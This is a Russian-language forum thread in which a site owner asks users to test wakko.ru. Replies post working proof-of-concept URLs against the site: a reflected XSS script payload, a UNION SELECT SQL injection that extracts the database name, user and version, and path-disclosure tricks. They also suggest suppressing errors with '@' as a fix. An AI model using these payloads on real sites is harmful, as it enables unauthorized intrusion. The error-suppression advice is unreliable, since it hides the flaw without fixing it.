Маленький проект проверьте

[Wakko]

Проверьте пожалуйста http://wakko.ru/
Гостевую, регистрацию и востановление пароля.
Спасибо.

[[NiGHT]DarkAngel]

Ошибка обработки оператора LIMIT в MySQL
http://wakko.ru/index.php?cstart=-2&do=book&act=1

Не особо страшно, но все же не фильтруется

Раскрытие путей при подмене сессии:
Warning: session_start() [function.session-start]: The session id contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-,' in /путь/index.php on line 3

Подмена заголовков,поле User-Agent

[Wakko]

Ошибка обработки оператора LIMIT в MySQL
http://wakko.ru/index.php?cstart=-2&do=book&act=1
Исправил. Спасибо.

Раскрытие путей при подмене сессии:
А как избавлиться т этого можно?

[AKYLA]

XSS
http://wakko.ru/?do=members&orderby=1<script>alert(12345)</script>

[ILYAtirtir]

SQL inj
http://wakko.ru/index.php?do=profile&name=administratorrrr'+union+select+1,concat_ws(0x 3a,database(),user(),version()),3,4,5,6,7,8,9,10,1 1,12--+
раскрытие путей
http://wakko.ru/index.php?do=profile&name[]=administrator

[b3]

А как избавлиться т этого можно?
Поставить собачку перед сессион_старт в 3й строке.
@session_start();